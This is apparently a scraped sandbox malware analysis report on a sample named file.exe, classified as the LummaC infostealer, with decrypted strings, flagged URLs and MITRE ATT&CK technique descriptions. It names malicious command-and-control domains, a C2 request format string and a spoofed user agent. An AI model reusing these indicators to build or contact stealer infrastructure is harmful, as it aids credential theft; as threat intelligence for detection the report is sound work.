Instruction Fuzzy Hash: 920146B2A0062A9BEB45CF45C1446DFF7B6FF89320F1682A9D8091BB60D7701CD5CB49

Source: https://cook-rain.sbs/apit	Avira URL Cloud: Label: malware
Source: https://cook-rain.sbs/apie	Avira URL Cloud: Label: malware

Source: 00000000.00000002.2457649412.0000000000CB1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: p3ar11fter.sbs
Source: 00000000.00000002.2457649412.0000000000CB1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: 3xp3cts1aim.sbs
Source: 00000000.00000002.2457649412.0000000000CB1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: peepburry828.sbs
Source: 00000000.00000002.2457649412.0000000000CB1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: p10tgrace.sbs
Source: 00000000.00000002.2457649412.0000000000CB1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: processhol.sbs
Source: 00000000.00000002.2457649412.0000000000CB1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000000.00000002.2457649412.0000000000CB1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000000.00000002.2457649412.0000000000CB1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: - Screen Resoluton:
Source: 00000000.00000002.2457649412.0000000000CB1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000000.00000002.2457649412.0000000000CB1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: Workgroup: -

Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Chrome Cache Entry: 102

Chrome Cache Entry: 103

Chrome Cache Entry: 104

Chrome Cache Entry: 105

Chrome Cache Entry: 106

Chrome Cache Entry: 107

Chrome Cache Entry: 108

Chrome Cache Entry: 109

Chrome Cache Entry: 110

Chrome Cache Entry: 111

Chrome Cache Entry: 112

Windows Analysis Report
file.exe

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre